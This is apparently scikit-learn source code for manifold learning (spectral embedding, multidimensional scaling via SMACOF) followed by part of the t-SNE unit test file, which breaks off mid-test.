            lambdas, diffusion_map = lobpcg(laplacian, X, tol=1e-15,
                                            largest=False, maxiter=2000)
            embedding = diffusion_map.T[:n_components] * dd
            if embedding.shape[0] == 1:
                raise ValueError

    embedding = _deterministic_vector_sign_flip(embedding)
    if drop_first:
        return embedding[1:n_components].T
    else:
        return embedding[:n_components].T


class SpectralEmbedding(BaseEstimator):
    """Spectral embedding for non-linear dimensionality reduction.

    Forms an affinity matrix given by the specified function and
    applies spectral decomposition to the corresponding graph laplacian.
    The resulting transformation is given by the value of the
    eigenvectors for each data point.

    Read more in the :ref:`User Guide <spectral_embedding>`.

    Parameters
    -----------
    n_components : integer, default: 2
        The dimension of the projected subspace.

    eigen_solver : {None, 'arpack', 'lobpcg', or 'amg'}
        The eigenvalue decomposition strategy to use. AMG requires pyamg
        to be installed. It can be faster on very large, sparse problems,
        but may also lead to instabilities.

    random_state : int seed, RandomState instance, or None, default : None
        A pseudo random number generator used for the initialization of the
        lobpcg eigenvectors decomposition when eigen_solver == 'amg'.

    affinity : string or callable, default : "nearest_neighbors"
        How to construct the affinity matrix.
         - 'nearest_neighbors' : construct affinity matrix by knn graph
         - 'rbf' : construct affinity matrix by rbf kernel
         - 'precomputed' : interpret X as precomputed affinity matrix
         - callable : use passed in function as affinity
           the function takes in data matrix (n_samples, n_features)
           and return affinity matrix (n_samples, n_samples).

    gamma : float, optional, default : 1/n_features
        Kernel coefficient for rbf kernel.

    n_neighbors : int, default : max(n_samples/10 , 1)
        Number of nearest neighbors for nearest_neighbors graph building.

    n_jobs : int, optional (default = 1)
        The number of parallel jobs to run.
        If ``-1``, then the number of jobs is set to the number of CPU cores.

    Attributes
    ----------

    embedding_ : array, shape = (n_samples, n_components)
        Spectral embedding of the training matrix.

    affinity_matrix_ : array, shape = (n_samples, n_samples)
        Affinity_matrix constructed from samples or precomputed.

    References
    ----------

    - A Tutorial on Spectral Clustering, 2007
      Ulrike von Luxburg
      http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.165.9323

    - On Spectral Clustering: Analysis and an algorithm, 2011
      Andrew Y. Ng, Michael I. Jordan, Yair Weiss
      http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.19.8100

    - Normalized cuts and image segmentation, 2000
      Jianbo Shi, Jitendra Malik
      http://citeseer.ist.psu.edu/viewdoc/summary?doi=10.1.1.160.2324
    """

    def __init__(self, n_components=2, affinity="nearest_neighbors",
                 gamma=None, random_state=None, eigen_solver=None,
                 n_neighbors=None, n_jobs=1):
        self.n_components = n_components
        self.affinity = affinity
        self.gamma = gamma
        self.random_state = random_state
        self.eigen_solver = eigen_solver
        self.n_neighbors = n_neighbors
        self.n_jobs = n_jobs

    @property
    def _pairwise(self):
        return self.affinity == "precomputed"

    def _get_affinity_matrix(self, X, Y=None):
        """Calculate the affinity matrix from data
        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training vector, where n_samples is the number of samples
            and n_features is the number of features.

            If affinity is "precomputed"
            X : array-like, shape (n_samples, n_samples),
            Interpret X as precomputed adjacency graph computed from
            samples.

        Returns
        -------
        affinity_matrix, shape (n_samples, n_samples)
        """
        if self.affinity == 'precomputed':
            self.affinity_matrix_ = X
            return self.affinity_matrix_
        if self.affinity == 'nearest_neighbors':
            if sparse.issparse(X):
                warnings.warn("Nearest neighbors affinity currently does "
                              "not support sparse input, falling back to "
                              "rbf affinity")
                self.affinity = "rbf"
            else:
                self.n_neighbors_ = (self.n_neighbors
                                     if self.n_neighbors is not None
                                     else max(int(X.shape[0] / 10), 1))
                self.affinity_matrix_ = kneighbors_graph(X, self.n_neighbors_,
                                                         include_self=True,
                                                         n_jobs=self.n_jobs)
                # currently only symmetric affinity_matrix supported
                self.affinity_matrix_ = 0.5 * (self.affinity_matrix_ +
                                               self.affinity_matrix_.T)
                return self.affinity_matrix_
        if self.affinity == 'rbf':
            self.gamma_ = (self.gamma
                           if self.gamma is not None else 1.0 / X.shape[1])
            self.affinity_matrix_ = rbf_kernel(X, gamma=self.gamma_)
            return self.affinity_matrix_
        self.affinity_matrix_ = self.affinity(X)
        return self.affinity_matrix_

    def fit(self, X, y=None):
        """Fit the model from data in X.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training vector, where n_samples is the number of samples
            and n_features is the number of features.

            If affinity is "precomputed"
            X : array-like, shape (n_samples, n_samples),
            Interpret X as precomputed adjacency graph computed from
            samples.

        Returns
        -------
        self : object
            Returns the instance itself.
        """

        X = check_array(X, ensure_min_samples=2, estimator=self)

        random_state = check_random_state(self.random_state)
        if isinstance(self.affinity, six.string_types):
            if self.affinity not in set(("nearest_neighbors", "rbf",
                                         "precomputed")):
                raise ValueError(("%s is not a valid affinity. Expected "
                                  "'precomputed', 'rbf', 'nearest_neighbors' "
                                  "or a callable.") % self.affinity)
        elif not callable(self.affinity):
            raise ValueError(("'affinity' is expected to be an affinity "
                              "name or a callable. Got: %s") % self.affinity)

        affinity_matrix = self._get_affinity_matrix(X)
        self.embedding_ = spectral_embedding(affinity_matrix,
                                             n_components=self.n_components,
                                             eigen_solver=self.eigen_solver,
                                             random_state=random_state)
        return self

    def fit_transform(self, X, y=None):
        """Fit the model from data in X and transform X.

        Parameters
        ----------
        X: array-like, shape (n_samples, n_features)
            Training vector, where n_samples is the number of samples
            and n_features is the number of features.

            If affinity is "precomputed"
            X : array-like, shape (n_samples, n_samples),
            Interpret X as precomputed adjacency graph computed from
            samples.

        Returns
        -------
        X_new: array-like, shape (n_samples, n_components)
        """
        self.fit(X)
        return self.embedding_






"""
Multi-dimensional Scaling (MDS)
"""

# author: Nelle Varoquaux <nelle.varoquaux@gmail.com>
# License: BSD

import numpy as np

import warnings

from ..base import BaseEstimator
from ..metrics import euclidean_distances
from ..utils import check_random_state, check_array, check_symmetric
from ..externals.joblib import Parallel
from ..externals.joblib import delayed
from ..isotonic import IsotonicRegression


def _smacof_single(similarities, metric=True, n_components=2, init=None,
                   max_iter=300, verbose=0, eps=1e-3, random_state=None):
    """
    Computes multidimensional scaling using SMACOF algorithm

    Parameters
    ----------
    similarities: symmetric ndarray, shape [n * n]
        similarities between the points

    metric: boolean, optional, default: True
        compute metric or nonmetric SMACOF algorithm

    n_components: int, optional, default: 2
        number of dimension in which to immerse the similarities
        overwritten if initial array is provided.

    init: {None or ndarray}, optional
        if None, randomly chooses the initial configuration
        if ndarray, initialize the SMACOF algorithm with this array

    max_iter: int, optional, default: 300
        Maximum number of iterations of the SMACOF algorithm for a single run

    verbose: int, optional, default: 0
        level of verbosity

    eps: float, optional, default: 1e-6
        relative tolerance w.r.t stress to declare converge

    random_state: integer or numpy.RandomState, optional
        The generator used to initialize the centers. If an integer is
        given, it fixes the seed. Defaults to the global numpy random
        number generator.

    Returns
    -------
    X: ndarray (n_samples, n_components), float
               coordinates of the n_samples points in a n_components-space

    stress_: float
        The final value of the stress (sum of squared distance of the
        disparities and the distances for all constrained points)

    n_iter : int
        Number of iterations run.

    """
    similarities = check_symmetric(similarities, raise_exception=True)

    n_samples = similarities.shape[0]
    random_state = check_random_state(random_state)

    sim_flat = ((1 - np.tri(n_samples)) * similarities).ravel()
    sim_flat_w = sim_flat[sim_flat != 0]
    if init is None:
        # Randomly choose initial configuration
        X = random_state.rand(n_samples * n_components)
        X = X.reshape((n_samples, n_components))
    else:
        # overrides the parameter p
        n_components = init.shape[1]
        if n_samples != init.shape[0]:
            raise ValueError("init matrix should be of shape (%d, %d)" %
                             (n_samples, n_components))
        X = init

    old_stress = None
    ir = IsotonicRegression()
    for it in range(max_iter):
        # Compute distance and monotonic regression
        dis = euclidean_distances(X)

        if metric:
            disparities = similarities
        else:
            dis_flat = dis.ravel()
            # similarities with 0 are considered as missing values
            dis_flat_w = dis_flat[sim_flat != 0]

            # Compute the disparities using a monotonic regression
            disparities_flat = ir.fit_transform(sim_flat_w, dis_flat_w)
            disparities = dis_flat.copy()
            disparities[sim_flat != 0] = disparities_flat
            disparities = disparities.reshape((n_samples, n_samples))
            disparities *= np.sqrt((n_samples * (n_samples - 1) / 2) /
                                   (disparities ** 2).sum())

        # Compute stress
        stress = ((dis.ravel() - disparities.ravel()) ** 2).sum() / 2

        # Update X using the Guttman transform
        dis[dis == 0] = 1e-5
        ratio = disparities / dis
        B = - ratio
        B[np.arange(len(B)), np.arange(len(B))] += ratio.sum(axis=1)
        X = 1. / n_samples * np.dot(B, X)

        dis = np.sqrt((X ** 2).sum(axis=1)).sum()
        if verbose >= 2:
            print('it: %d, stress %s' % (it, stress))
        if old_stress is not None:
            if(old_stress - stress / dis) < eps:
                if verbose:
                    print('breaking at iteration %d with stress %s' % (it,
                                                                       stress))
                break
        old_stress = stress / dis

    return X, stress, it + 1


def smacof(similarities, metric=True, n_components=2, init=None, n_init=8,
           n_jobs=1, max_iter=300, verbose=0, eps=1e-3, random_state=None,
           return_n_iter=False):
    """
    Computes multidimensional scaling using SMACOF (Scaling by Majorizing a
    Complicated Function) algorithm

    The SMACOF algorithm is a multidimensional scaling algorithm: it minimizes
    a objective function, the *stress*, using a majorization technique. The
    Stress Majorization, also known as the Guttman Transform, guarantees a
    monotone convergence of Stress, and is more powerful than traditional
    techniques such as gradient descent.

    The SMACOF algorithm for metric MDS can summarized by the following steps:

    1. Set an initial start configuration, randomly or not.
    2. Compute the stress
    3. Compute the Guttman Transform
    4. Iterate 2 and 3 until convergence.

    The nonmetric algorithm adds a monotonic regression steps before computing
    the stress.

    Parameters
    ----------
    similarities : symmetric ndarray, shape (n_samples, n_samples)
        similarities between the points

    metric : boolean, optional, default: True
        compute metric or nonmetric SMACOF algorithm

    n_components : int, optional, default: 2
        number of dimension in which to immerse the similarities
        overridden if initial array is provided.

    init : {None or ndarray of shape (n_samples, n_components)}, optional
        if None, randomly chooses the initial configuration
        if ndarray, initialize the SMACOF algorithm with this array

    n_init : int, optional, default: 8
        Number of time the smacof algorithm will be run with different
        initialisation. The final results will be the best output of the
        n_init consecutive runs in terms of stress.

    n_jobs : int, optional, default: 1

        The number of jobs to use for the computation. This works by breaking
        down the pairwise matrix into n_jobs even slices and computing them in
        parallel.

        If -1 all CPUs are used. If 1 is given, no parallel computing code is
        used at all, which is useful for debugging. For n_jobs below -1,
        (n_cpus + 1 + n_jobs) are used. Thus for n_jobs = -2, all CPUs but one
        are used.

    max_iter : int, optional, default: 300
        Maximum number of iterations of the SMACOF algorithm for a single run

    verbose : int, optional, default: 0
        level of verbosity

    eps : float, optional, default: 1e-6
        relative tolerance w.r.t stress to declare converge

    random_state : integer or numpy.RandomState, optional
        The generator used to initialize the centers. If an integer is
        given, it fixes the seed. Defaults to the global numpy random
        number generator.

    return_n_iter : bool
        Whether or not to return the number of iterations.

    Returns
    -------
    X : ndarray (n_samples,n_components)
        Coordinates of the n_samples points in a n_components-space

    stress : float
        The final value of the stress (sum of squared distance of the
        disparities and the distances for all constrained points)

    n_iter : int
        The number of iterations corresponding to the best stress.
        Returned only if `return_n_iter` is set to True.

    Notes
    -----
    "Modern Multidimensional Scaling - Theory and Applications" Borg, I.;
    Groenen P. Springer Series in Statistics (1997)

    "Nonmetric multidimensional scaling: a numerical method" Kruskal, J.
    Psychometrika, 29 (1964)

    "Multidimensional scaling by optimizing goodness of fit to a nonmetric
    hypothesis" Kruskal, J. Psychometrika, 29, (1964)
    """

    similarities = check_array(similarities)
    random_state = check_random_state(random_state)

    if hasattr(init, '__array__'):
        init = np.asarray(init).copy()
        if not n_init == 1:
            warnings.warn(
                'Explicit initial positions passed: '
                'performing only one init of the MDS instead of %d'
                % n_init)
            n_init = 1

    best_pos, best_stress = None, None

    if n_jobs == 1:
        for it in range(n_init):
            pos, stress, n_iter_ = _smacof_single(
                similarities, metric=metric,
                n_components=n_components, init=init,
                max_iter=max_iter, verbose=verbose,
                eps=eps, random_state=random_state)
            if best_stress is None or stress < best_stress:
                best_stress = stress
                best_pos = pos.copy()
                best_iter = n_iter_
    else:
        seeds = random_state.randint(np.iinfo(np.int32).max, size=n_init)
        results = Parallel(n_jobs=n_jobs, verbose=max(verbose - 1, 0))(
            delayed(_smacof_single)(
                similarities, metric=metric, n_components=n_components,
                init=init, max_iter=max_iter, verbose=verbose, eps=eps,
                random_state=seed)
            for seed in seeds)
        positions, stress, n_iters = zip(*results)
        best = np.argmin(stress)
        best_stress = stress[best]
        best_pos = positions[best]
        best_iter = n_iters[best]

    if return_n_iter:
        return best_pos, best_stress, best_iter
    else:
        return best_pos, best_stress


class MDS(BaseEstimator):
    """Multidimensional scaling

    Read more in the :ref:`User Guide <multidimensional_scaling>`.

    Parameters
    ----------
    metric : boolean, optional, default: True
        compute metric or nonmetric SMACOF (Scaling by Majorizing a
        Complicated Function) algorithm

    n_components : int, optional, default: 2
        number of dimension in which to immerse the similarities
        overridden if initial array is provided.

    n_init : int, optional, default: 4
        Number of time the smacof algorithm will be run with different
        initialisation. The final results will be the best output of the
        n_init consecutive runs in terms of stress.

    max_iter : int, optional, default: 300
        Maximum number of iterations of the SMACOF algorithm for a single run

    verbose : int, optional, default: 0
        level of verbosity

    eps : float, optional, default: 1e-6
        relative tolerance w.r.t stress to declare converge

    n_jobs : int, optional, default: 1
        The number of jobs to use for the computation. This works by breaking
        down the pairwise matrix into n_jobs even slices and computing them in
        parallel.

        If -1 all CPUs are used. If 1 is given, no parallel computing code is
        used at all, which is useful for debugging. For n_jobs below -1,
        (n_cpus + 1 + n_jobs) are used. Thus for n_jobs = -2, all CPUs but one
        are used.

    random_state : integer or numpy.RandomState, optional
        The generator used to initialize the centers. If an integer is
        given, it fixes the seed. Defaults to the global numpy random
        number generator.

    dissimilarity : string
        Which dissimilarity measure to use.
        Supported are 'euclidean' and 'precomputed'.


    Attributes
    ----------
    embedding_ : array-like, shape [n_components, n_samples]
        Stores the position of the dataset in the embedding space

    stress_ : float
        The final value of the stress (sum of squared distance of the
        disparities and the distances for all constrained points)


    References
    ----------
    "Modern Multidimensional Scaling - Theory and Applications" Borg, I.;
    Groenen P. Springer Series in Statistics (1997)

    "Nonmetric multidimensional scaling: a numerical method" Kruskal, J.
    Psychometrika, 29 (1964)

    "Multidimensional scaling by optimizing goodness of fit to a nonmetric
    hypothesis" Kruskal, J. Psychometrika, 29, (1964)

    """
    def __init__(self, n_components=2, metric=True, n_init=4,
                 max_iter=300, verbose=0, eps=1e-3, n_jobs=1,
                 random_state=None, dissimilarity="euclidean"):
        self.n_components = n_components
        self.dissimilarity = dissimilarity
        self.metric = metric
        self.n_init = n_init
        self.max_iter = max_iter
        self.eps = eps
        self.verbose = verbose
        self.n_jobs = n_jobs
        self.random_state = random_state

    @property
    def _pairwise(self):
        return self.kernel == "precomputed"

    def fit(self, X, y=None, init=None):
        """
        Computes the position of the points in the embedding space

        Parameters
        ----------
        X : array, shape=[n_samples, n_features], or [n_samples, n_samples] \
                if dissimilarity='precomputed'
            Input data.

        init : {None or ndarray, shape (n_samples,)}, optional
            If None, randomly chooses the initial configuration
            if ndarray, initialize the SMACOF algorithm with this array.
        """
        self.fit_transform(X, init=init)
        return self

    def fit_transform(self, X, y=None, init=None):
        """
        Fit the data from X, and returns the embedded coordinates

        Parameters
        ----------
        X : array, shape=[n_samples, n_features], or [n_samples, n_samples] \
                if dissimilarity='precomputed'
            Input data.

        init : {None or ndarray, shape (n_samples,)}, optional
            If None, randomly chooses the initial configuration
            if ndarray, initialize the SMACOF algorithm with this array.

        """
        X = check_array(X)
        if X.shape[0] == X.shape[1] and self.dissimilarity != "precomputed":
            warnings.warn("The MDS API has changed. ``fit`` now constructs an"
                          " dissimilarity matrix from data. To use a custom "
                          "dissimilarity matrix, set "
                          "``dissimilarity='precomputed'``.")

        if self.dissimilarity == "precomputed":
            self.dissimilarity_matrix_ = X
        elif self.dissimilarity == "euclidean":
            self.dissimilarity_matrix_ = euclidean_distances(X)
        else:
            raise ValueError("Proximity must be 'precomputed' or 'euclidean'."
                             " Got %s instead" % str(self.dissimilarity))

        self.embedding_, self.stress_, self.n_iter_ = smacof(
            self.dissimilarity_matrix_, metric=self.metric,
            n_components=self.n_components, init=init, n_init=self.n_init,
            n_jobs=self.n_jobs, max_iter=self.max_iter, verbose=self.verbose,
            eps=self.eps, random_state=self.random_state,
            return_n_iter=True)

        return self.embedding_






import sys
from sklearn.externals.six.moves import cStringIO as StringIO
import numpy as np
import scipy.sparse as sp

from sklearn.neighbors import BallTree
from sklearn.utils.testing import assert_less_equal
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_raises_regexp
from sklearn.utils import check_random_state
from sklearn.manifold.t_sne import _joint_probabilities
from sklearn.manifold.t_sne import _joint_probabilities_nn
from sklearn.manifold.t_sne import _kl_divergence
from sklearn.manifold.t_sne import _kl_divergence_bh
from sklearn.manifold.t_sne import _gradient_descent
from sklearn.manifold.t_sne import trustworthiness
from sklearn.manifold.t_sne import TSNE
from sklearn.manifold import _barnes_hut_tsne
from sklearn.manifold._utils import _binary_search_perplexity
from sklearn.datasets import make_blobs
from scipy.optimize import check_grad
from scipy.spatial.distance import pdist
from scipy.spatial.distance import squareform
from sklearn.metrics.pairwise import pairwise_distances


def test_gradient_descent_stops():
    # Test stopping conditions of gradient descent.
    class ObjectiveSmallGradient:
        def __init__(self):
            self.it = -1

        def __call__(self, _):
            self.it += 1
            return (10 - self.it) / 10.0, np.array([1e-5])

    def flat_function(_):
        return 0.0, np.ones(1)

    # Gradient norm
    old_stdout = sys.stdout
    sys.stdout = StringIO()
    try:
        _, error, it = _gradient_descent(
            ObjectiveSmallGradient(), np.zeros(1), 0, n_iter=100,
            n_iter_without_progress=100, momentum=0.0, learning_rate=0.0,
            min_gain=0.0, min_grad_norm=1e-5, min_error_diff=0.0, verbose=2)
    finally:
        out = sys.stdout.getvalue()
        sys.stdout.close()
        sys.stdout = old_stdout
    assert_equal(error, 1.0)
    assert_equal(it, 0)
    assert("gradient norm" in out)

    # Error difference
    old_stdout = sys.stdout
    sys.stdout = StringIO()
    try:
        _, error, it = _gradient_descent(
            ObjectiveSmallGradient(), np.zeros(1), 0, n_iter=100,
            n_iter_without_progress=100, momentum=0.0, learning_rate=0.0,
            min_gain=0.0, min_grad_norm=0.0, min_error_diff=0.2, verbose=2)
    finally:
        out = sys.stdout.getvalue()
        sys.stdout.close()
        sys.stdout = old_stdout
    assert_equal(error, 0.9)
    assert_equal(it, 1)
    assert("error difference" in out)

    # Maximum number of iterations without improvement
    old_stdout = sys.stdout
    sys.stdout = StringIO()
    try:
        _, error, it = _gradient_descent(
            flat_function, np.zeros(1), 0, n_iter=100,
            n_iter_without_progress=10, momentum=0.0, learning_rate=0.0,
            min_gain=0.0, min_grad_norm=0.0, min_error_diff=-1.0, verbose=2)
    finally:
        out = sys.stdout.getvalue()
        sys.stdout.close()
        sys.stdout = old_stdout
    assert_equal(error, 0.0)
    assert_equal(it, 11)
    assert("did not make any progress" in out)

    # Maximum number of iterations
    old_stdout = sys.stdout
    sys.stdout = StringIO()
    try:
        _, error, it = _gradient_descent(
            ObjectiveSmallGradient(), np.zeros(1), 0, n_iter=11,
            n_iter_without_progress=100, momentum=0.0, learning_rate=0.0,
            min_gain=0.0, min_grad_norm=0.0, min_error_diff=0.0, verbose=2)
    finally:
        out = sys.stdout.getvalue()
        sys.stdout.close()
        sys.stdout = old_stdout
    assert_equal(error, 0.0)
    assert_equal(it, 10)
    assert("Iteration 10" in out)


def test_binary_search():
    # Test if the binary search finds Gaussians with desired perplexity.
    random_state = check_random_state(0)
    distances = random_state.randn(50, 2).astype(np.float32)
    # Distances shouldn't be negative
    distances = np.abs(distances.dot(distances.T))
    np.fill_diagonal(distances, 0.0)
    desired_perplexity = 25.0
    P = _binary_search_perplexity(distances, None, desired_perplexity,
                                  verbose=0)
    P = np.maximum(P, np.finfo(np.double).eps)
    mean_perplexity = np.mean([np.exp(-np.sum(P[i] * np.log(P[i])))
                               for i in range(P.shape[0])])
    assert_almost_equal(mean_perplexity, desired_perplexity, decimal=3)


def test_binary_search_neighbors():
    # Binary perplexity search approximation.
    # Should be approximately equal to the slow method when we use
    # all points as neighbors.
    n_samples = 500
    desired_perplexity = 25.0
    random_state = check_random_state(0)
    distances = random_state.randn(n_samples, 2).astype(np.float32)
    # Distances shouldn't be negative
    distances = np.abs(distances.dot(distances.T))
    np.fill_diagonal(distances, 0.0)
    P1 = _binary_search_perplexity(distances, None, desired_perplexity,
                                   verbose=0)

    # Test that when we use all the neighbors the results are identical
    k = n_samples
    neighbors_nn = np.argsort(distances, axis=1)[:, :k].astype(np.int64)
    P2 = _binary_search_perplexity(distances, neighbors_nn,
                                   desired_perplexity, verbose=0)
    assert_array_almost_equal(P1, P2, decimal=4)

    # Test that the highest P_ij are the same when few neighbors are used
    for k in np.linspace(80, n_samples, 10):
        k = int(k)
        topn = k * 10  # check the top 10 *k entries out of k * k entries
        neighbors_nn = np.argsort(distances, axis=1)[:, :k].astype(np.int64)
        P2k = _binary_search_perplexity(distances, neighbors_nn,
                                        desired_perplexity, verbose=0)
        idx = np.argsort(P1.ravel())[::-1]
        P1top = P1.ravel()[idx][:topn]
        P2top = P2k.ravel()[idx][:topn]
        assert_array_almost_equal(P1top, P2top, decimal=2)


def test_binary_perplexity_stability():
    # Binary perplexity search should be stable.
    # The binary_search_perplexity had a bug wherein the P array
    # was uninitialized, leading to sporadically failing tests.
    k = 10
    n_samples = 100
    random_state = check_random_state(0)
    distances = random_state.randn(n_samples, 2).astype(np.float32)
    # Distances shouldn't be negative
    distances = np.abs(distances.dot(distances.T))
    np.fill_diagonal(distances, 0.0)
    last_P = None
    neighbors_nn = np.argsort(distances, axis=1)[:, :k].astype(np.int64)
    for _ in range(100):
        P = _binary_search_perplexity(distances.copy(), neighbors_nn.copy(),
                                      3, verbose=0)
        P1 = _joint_probabilities_nn(distances, neighbors_nn, 3, verbose=0)
        if last_P is None:
            last_P = P
            last_P1 = P1
        else:
            assert_array_almost_equal(P, last_P, decimal=4)
            assert_array_almost_equal(P1, last_P1, decimal=4)


def test_gradient():
    # Test gradient of Kullback-Leibler divergence.
    random_state = check_random_state(0)

    n_samples = 50
    n_features = 2
    n_components = 2
    alpha = 1.0

    distances = random_state.randn(n_samples, n_features).astype(np.float32)
    distances = distances.dot(distances.T)
    np.fill_diagonal(distances, 0.0)
    X_embedded = random_state.randn(n_samples, n_components)

    P = _joint_probabilities(distances, desired_perplexity=25.0,
                             verbose=0)

    def fun(params):
        return _kl_divergence(params, P, alpha, n_samples, n_components)[0]

    def grad(params):
        return _kl_divergence(params, P, alpha, n_samples, n_components)[1]

    assert_almost_equal(check_grad(fun, grad, X_embedded.ravel()), 0.0,
                        decimal=5)


def test_trustworthiness():
    # Test trustworthiness score.
    random_state = check_random_state(0)

    # Affine transformation
    X = random_state.randn(100, 2)
    assert_equal(trustworthiness(X, 5.0 + X / 10.0), 1.0)

    # Randomly shuffled
    X = np.arange(100).reshape(-1, 1)
    X_embedded = X.copy()
    random_state.shuffle(X_embedded)
    assert_less(trustworthiness(X, X_embedded), 0.6)

    # Completely different
    X = np.arange(5).reshape(-1, 1)
    X_embedded = np.array([[0], [2], [4], [1], [3]])
    assert_almost_equal(trustworthiness(X, X_embedded, n_neighbors=1), 0.2)


def test_preserve_trustworthiness_approximately():
    # Nearest neighbors should be preserved approximately.
    random_state = check_random_state(0)
    # The Barnes-Hut approximation uses a different method to estimate
    # P_ij using only a number of nearest neighbors instead of all
    # points (so that k = 3 * perplexity). As a result we set the
    # perplexity=5, so that the number of neighbors is 5%.
    n_components = 2
    methods = ['exact', 'barnes_hut']
    X = random_state.randn(100, n_components).astype(np.float32)
    for init in ('random', 'pca'):
        for method in methods:
            tsne = TSNE(n_components=n_components, perplexity=50,
                        learning_rate=100.0, init=init, random_state=0,
                        method=method)
            X_embedded = tsne.fit_transform(X)
            T = trustworthiness(X, X_embedded, n_neighbors=1)
            assert_almost_equal(T, 1.0, decimal=1)


def test_optimization_minimizes_kl_divergence():
    """t-SNE should give a lower KL divergence with more iterations."""
    random_state = check_random_state(0)
    X, _ = make_blobs(n_features=3, random_state=random_state)
    kl_divergences = []
    for n_iter in [200, 250, 300]:
        tsne = TSNE(n_components=2, perplexity=10, learning_rate=100.0,
                    n_iter=n_iter, random_state=0)
        tsne.fit_transform(X)
        kl_divergences.append(tsne.kl_divergence_)
    assert_less_equal(kl_divergences[1], kl_divergences[0])
    assert_less_equal(kl_divergences[2], kl_divergences[1])


def test_fit_csr_matrix():
    # X can be a sparse matrix.
    random_state = check_random_state(0)
    X = random_state.randn(100, 2)
    X[(np.random.randint(0, 100, 50), np.random.randint(0, 2, 50))] = 0.0
    X_csr = sp.csr_matrix(X)
    tsne = TSNE(n_components=2, perplexity=10, learning_rate=100.0,
                random_state=0, method='exact')
    X_embedded = tsne.fit_transform(X_csr)
    assert_almost_equal(trustworthiness(X_csr, X_embedded, n_neighbors=1), 1.0,
                        decimal=1)


def test_preserve_trustworthiness_approximately_with_precomputed_distances():
    # Nearest neighbors should be preserved approximately.
    random_state = check_random_state(0)
    X = random_state.randn(100, 2)
    D = squareform(pdist(X), "sqeuclidean")
    tsne = TSNE(n_components=2, perplexity=2, learning_rate=100.0,
                metric="precomputed", random_state=0, verbose=0)
    X_embedded = tsne.fit_transform(D)
    assert_almost_equal(trustworthiness(D, X_embedded, n_neighbors=1,
                                        precomputed=True), 1.0, decimal=1)


def test_early_exaggeration_too_small():
    # Early exaggeration factor must be >= 1.
    tsne = TSNE(early_exaggeration=0.99)
    assert_raises_regexp(ValueError, "early_exaggeration .*",
                         tsne.fit_transform, np.array([[0.0]]))


def test_too_few_iterations():
    # Number of gradient descent iterations must be at least 200.
    tsne = TSNE(n_iter=199)
    assert_raises_regexp(ValueError, "n_iter .*", tsne.fit_transform,
                         np.array([[0.0]]))


def test_non_square_precomputed_distances():
    # Precomputed distance matrices must be square matrices.
    tsne = TSNE(metric="precomputed")
    assert_raises_regexp(ValueError, ".* square distance matrix",
                         tsne.fit_transform, np.array([[0.0], [1.0]]))


def test_init_not_available():
    # 'init' must be 'pca' or 'random'.
    m = "'init' must be 'pca', 'random' or a NumPy array"
    assert_raises_regexp(ValueError, m, TSNE, init="not available")


def test_distance_not_available():
    # 'metric' must be valid.
    tsne = TSNE(metric="not available")
    assert_raises_regexp(ValueError, "Unknown metric not available.*",
                         tsne.fit_transform, np.array([[0.0], [1.0]]))


def test_pca_initialization_not_compatible_with_precomputed_kernel():
    # Precomputed distance matrices must be square matrices.
    tsne = TSNE(metric="precomputed", init="pca")
    assert_raises_regexp(ValueError, "The parameter init=\"pca\" cannot be "
                         "used with metric=\"precomputed\".",
                         tsne.fit_transform, np.array([[0.0], [1.0]]))


def test_answer_gradient_two_points():
    # Test the tree with only a single set of children.
    #
    # These tests & answers have been checked against the reference
    # implementation by LvdM.
    pos_input = np.array([[1.0, 0.0], [0.0, 1.0]])
    pos_output = np.array([[-4.961291e-05, -1.072243e-04],
                           [9.259460e-05, 2.702024e-04]])
    neighbors = np.array([[1],
                          [0]])
    grad_output = np.array([[-2.37012478e-05, -6.29044398e-05],
                            [2.37012478e-05, 6.29044398e-05]])
    _run_answer_test(pos_input, pos_output, neighbors, grad_output)


def test_answer_gradient_four_points():
    # Four points tests the tree with multiple levels of children.
    #
    # These tests & answers have been checked against the reference
    # implementation by LvdM.
    pos_input = np.array([[1.0, 0.0], [0.0, 1.0],
                          [5.0, 2.0], [7.3, 2.2]])
    pos_output = np.array([[6.080564e-05, -7.120823e-05],
                           [-1.718945e-04, -4.000536e-05],
                           [-2.271720e-04, 8.663310e-05],
                           [-1.032577e-04, -3.582033e-05]])
    neighbors = np.array([[1, 2, 3],
                          [0, 2, 3],
                          [1, 0, 3],
                          [1, 2, 0]])
    grad_output = np.array([[5.81128448e-05, -7.78033454e-06],
                            [-5.81526851e-05, 7.80976444e-06],
                            [4.24275173e-08, -3.69569698e-08],
                            [-2.58720939e-09, 7.52706374e-09]])
    _run_answer_test(pos_input, pos_output, neighbors, grad_output)


def test_skip_num_points_gradient():
    # Test the kwargs option skip_num_points.
    #
    # Skip num points should make it such that the Barnes_hut gradient
    # is not calculated for indices below skip_num_point.
    # Aside from skip_num_points=2 and the first two gradient rows
    # being set to zero, these data points are the same as in
    # test_answer_gradient_four_points()
    pos_input = np.array([[1.0, 0.0], [0.0, 1.0],
                          [5.0, 2.0], [7.3, 2.2]])
    pos_output = np.array([[6.080564e-05, -7.120823e-05],
                           [-1.718945e-04, -4.000536e-05],
                           [-2.271720e-04, 8.663310e-05],
                           [-1.032577e-04, -3.582033e-05]])
    neighbors = np.array([[1, 2, 3],
                          [0, 2, 3],
                          [1, 0, 3],
                          [1, 2, 0]])
    grad_output = np.array([[0.0, 0.0],
                            [0.0, 0.0],
                            [4.24275173e-08, -3.69569698e-08],
                            [-2.58720939e-09, 7.52706374e-09]])
    _run_answer_test(pos_input, pos_output, neighbors, grad_output,
                     False, 0.1, 2)


def _run_answer_test(pos_input, pos_output, neighbors, grad_output,
                     verbose=False, perplexity=0.1, skip_num_points=0):
    distances = pairwise_distances(pos_input).astype(np.float32)
    args = distances, perplexity, verbose
    pos_output = pos_output.astype(np.float32)
    neighbors = neighbors.astype(np.int64)
    pij_input = _joint_probabilities(*args)
    pij_input = squareform(pij_input).astype(np.float32)
    grad_bh = np.zeros(pos_output.shape, dtype=np.float32)

    _barnes_hut_tsne.gradient(pij_input, pos_output, neighbors,
                              grad_bh, 0.5, 2, 1, skip_num_points=0)
    assert_array_almost_equal(grad_bh, grad_output, decimal=4)


def test_verbose():
    # Verbose options write to stdout.
    random_state = check_random_state(0)
    tsne = TSNE(verbose=2)
